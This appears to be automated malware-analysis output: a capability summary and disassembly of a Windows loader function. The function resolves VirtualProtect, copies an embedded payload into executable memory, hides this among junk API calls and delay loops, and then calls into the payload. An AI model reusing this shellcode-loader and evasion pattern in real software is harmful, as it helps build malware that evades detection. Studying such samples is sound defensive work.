Function at 0x401235
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Read file on windows
Set environment variable
Set registry value

Disassembly:
mov eax, 0x43bd0a
call fcn.0043af64
sub esp, 0x834
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp esi, 0x207142
jg 0x401263
inc esi
cmp esi, 0x67d12
jl 0x40124c
cmp dword [0x245e95c], 0x93
jne 0x401322
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
lock bts dword [eax], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push ebx
lea eax, [ebp - 0x840]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push str.jixepeducane
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x40], bl
call fcn.004023a0
pop ecx
lea ecx, [ebp - 0x40]
call fcn.0040162f
push ebx
push ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.004027f1
push ebx
push ebx
call fcn.00402528
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], 0x43e234
call fcn.00401e49
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.00401ea5
push ebx
push ebx
call fcn.0040259c
or dword [ebp - 4], 0xffffffff
pop ecx
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x40]
call fcn.004015f7
mov eax, dword [0x441370]
add dword [0x245e95c], 0x1134b
push str.kernel32.dll
mov dword [0x245f798], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
mov dword [0x245e3ec], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x245e95c]
mov dword [0x245e3e0], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x245e95c]
mov dword [0x245e3e8], eax
push eax
call dword [0x245e3e0]
xor esi, esi
cmp esi, 0xacc
jge 0x4013ae
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetCaretPos]
push ebx
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharABCWidthsI]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthI]
push ebx
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp esi, 0x45be411
jg 0x4013c8
inc esi
cmp esi, 0x3330601
jl 0x40137e
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, 0x1692e
push ebx
lea eax, [ebp - 0x840]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
call edi
dec esi
jne 0x4013d3
cmp dword [0x245e95c], ebx
jbe 0x40144a
mov eax, dword [0x245f798]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x245e3e8]
mov byte [ecx + esi], al
cmp dword [0x245e95c], 0x490
jne 0x401441
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc esi
cmp esi, dword [0x245e95c]
jb 0x4013f4
xor esi, esi
mov eax, dword [0x245e95c]
add eax, esi
cmp eax, 0x8d
jne 0x401484
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push ebx
call dword [sym.imp.USER32.dll_GetMenu]
push str.Mul_nop_golinufarohiwif
push str.Sahikuxuyewa_wagivasixuvocut
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc esi
cmp esi, 0x38681
jl 0x40144c
call fcn.00401173
xor esi, esi
call edi
cmp esi, 0x61
jne 0x4014ae
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x245e3e8], eax
inc esi
cmp esi, 0x674bd
jl 0x401494
push 0x7b
pop esi
cmp dword [0x245e95c], 0x86
jne 0x4014f4
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadHugeReadPtr]
dec esi
jne 0x4014ba
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x245e3e8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret